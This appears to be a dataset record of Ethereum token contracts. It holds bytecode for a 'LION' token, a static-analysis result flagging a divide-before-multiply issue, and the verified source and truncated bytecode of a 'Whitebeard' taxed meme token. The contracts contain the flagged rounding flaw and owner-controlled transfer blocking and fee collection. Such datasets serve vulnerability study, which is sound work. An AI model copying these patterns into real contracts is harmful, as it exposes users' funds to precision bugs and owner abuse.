untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806395d89b4111610097578063c3678f6511610066578063c3678f6514610502578063dd62ed3e14610520578063e6400bbe14610598578063e8046759146105b857610100565b806395d89b41146103a3578063a9059cbb14610426578063b87b72851461048a578063bd355ec7146104a857610100565b8063313ce567116100d3578063313ce5671461028e57806370a08231146102af5780638ed9b31e14610307578063927af6251461036157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061060f565b60405180821515815260200191505060405180910390f35b6101f4610836565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610840565b60405180821515815260200191505060405180910390f35b610296610d0c565b604051808260ff16815260200191505060405180910390f35b6102f1600480360360208110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d11565b6040518082815260200191505060405180910390f35b6103496004803603602081101561031d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5a565b60405180821515815260200191505060405180910390f35b61038d6004803603602081101561037757600080fd5b8101908080359060200190929190505050610ead565b6040518082815260200191505060405180910390f35b6103ab610f19565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103eb5780820151818401526020810190506103d0565b50505050905090810190601f1680156104185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104726004803603604081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f52565b60405180821515815260200191505060405180910390f35b610492611285565b6040518082815260200191505060405180910390f35b6104ea600480360360208110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611392565b60405180821515815260200191505060405180910390f35b61050a6114e5565b6040518082815260200191505060405180910390f35b6105826004803603604081101561053657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611772565b6040518082815260200191505060405180910390f35b6105a06117f9565b60405180821515815260200191505060405180910390f35b6105c0611893565b6040518082815260200191505060405180910390f35b6040518060400160405280601681526020017f43727970746f656e746572204c494f4e20746f6b656e0000000000000000000081525081565b6000600554421180610671575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561068a5750600660009054906101000a900460ff16155b80156106e7575060011515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514155b8061073d575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61074657600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60006005544211806108a2575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156108bb5750600660009054906101000a900460ff16155b8015610918575060011515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514155b8061096e575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61097757600080fd5b6040600481016000369050101561098d57600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156109d957600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115610a6257600080fd5b610ab483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b8683600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610db557600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f0857600080fd5b816005819055506005549050919050565b6040518060400160405280600481526020017f4c494f4e0000000000000000000000000000000000000000000000000000000081525081565b6000600554421180610fb4575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610fcd5750600660009054906101000a900460ff16155b801561102a575060011515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514155b80611080575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61108957600080fd5b6040600481016000369050101561109f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156110eb57600080fd5b61113d83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d283600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112e057600080fd5b60056009600101541061133e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cd96024913960400191505060405180910390fd5b6000611369601e61135b60646004546119f390919063ffffffff16565b61189b90919063ffffffff16565b905061137481611a3d565b50600160096001016000828254019250508190555060045491505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ed57600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154057600080fd5b60036009600201541415611579576001600960000160008282540192505081905550600060096001018190555060006009600201819055505b60098060000154106115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f416c6c2069737375657320636f6d706c6574656400000000000000000000000081525060200191505060405180910390fd5b60008060096002015490506000600860006009600001548152602001908152602001600020905060005b60038110156116cc5781816003811061163257fe5b6003020160020160009054906101000a900460ff166116bf5781816003811061165757fe5b600302016000015442106116be576001600960020160008282540192505081905550600182826003811061168757fe5b6003020160020160006101000a81548160ff0219169083151502179055508181600381106116b157fe5b6003020160010154840193505b5b808060010191505061161d565b506009600201548210611747576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f546f6f206561726c7920746f206973737565000000000000000000000000000081525060200191505060405180910390fd5b6117666117616305f5e1008561189b90919063ffffffff16565b611a3d565b50600454935050505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461185457600080fd5b600660009054906101000a900460ff1615600660006101000a81548160ff021916908315150217905550600660009054906101000a900460ff16905090565b6305f5e10081565b6000808314156118ae576000905061191b565b60008284029050828482816118bf57fe5b0414611916576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611cfd6021913960400191505060405180910390fd5b809150505b92915050565b600061196383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b52565b905092915050565b6000808284019050838110156119e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611a3583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c12565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9857600080fd5b611aad8260045461196b90919063ffffffff16565b600481905550611b0582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004549050919050565b6000838311158290611bff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611bc4578082015181840152602081019050611ba9565b50505050905090810190601f168015611bf15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611cbe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c83578082015181840152602081019050611c68565b50505050905090810190601f168015611cb05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611cca57fe5b04905080915050939250505056fe5468652066696674682033302070657263656e7420697373756520636f6d706c65746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220175a63034331216fec46b445063a49b87b64e84d76cc82bbcecad341ea3ae27364736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
468
0x47781f1ed6d110c934Bf28A60c80ae15fe6EFd9C
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ //SPDX-License-Identifier: MIT // Telegram: t.me/WhitebeardToken pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract WHITEBEARD is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**6; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; string private constant _name = "Whitebeard"; string private constant _symbol = "WHITEBEARD"; uint8 private constant _decimals = 6; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!_canTrade,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswap = _uniswapV2Router; _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612231565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611df4565b6103c2565b6040516101579190612216565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b6040516101829190612393565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611da1565b6103ee565b6040516101bf9190612216565b60405180910390f35b3480156101d457600080fd5b506101dd6104c7565b6040516101ea9190612408565b60405180910390f35b3480156101ff57600080fd5b506102086104d0565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d07565b61054a565b60405161023e9190612393565b60405180910390f35b34801561025357600080fd5b5061025c61059b565b005b34801561026a57600080fd5b506102736106ee565b6040516102809190612148565b60405180910390f35b34801561029557600080fd5b5061029e610717565b6040516102ab9190612231565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e61565b610754565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611df4565b6107cc565b6040516103119190612216565b60405180910390f35b34801561032657600080fd5b5061032f6107ea565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d61565b610cf7565b6040516103659190612393565b60405180910390f35b34801561037a57600080fd5b50610383610d7e565b005b60606040518060400160405280600a81526020017f5768697465626561726400000000000000000000000000000000000000000000815250905090565b60006103d66103cf610df0565b8484610df8565b6001905092915050565b6000655af3107a4000905090565b60006103fb848484610fc3565b6104bc84610407610df0565b6104b7856040518060600160405280602881526020016129e360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046d610df0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b9092919063ffffffff16565b610df8565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610511610df0565b73ffffffffffffffffffffffffffffffffffffffff161461053157600080fd5b600061053c3061054a565b90506105478161128f565b50565b6000610594600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611517565b9050919050565b6105a3610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610627906122f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f5748495445424541524400000000000000000000000000000000000000000000815250905090565b61075c610df0565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b557600080fd5b600981106107c257600080fd5b8060088190555050565b60006107e06107d9610df0565b8484610fc3565b6001905092915050565b6107f2610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906122f3565b60405180910390fd5b600b60149054906101000a900460ff16156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690612373565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061095c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a4000610df8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611d34565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611d34565b6040518363ffffffff1660e01b8152600401610a91929190612163565b602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611d34565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b6c3061054a565b600080610b776106ee565b426040518863ffffffff1660e01b8152600401610b99969594939291906121b5565b6060604051808303818588803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610beb9190611e8e565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca192919061218c565b602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf39190611e34565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbf610df0565b73ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b6000479050610ded81611585565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90612353565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612293565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b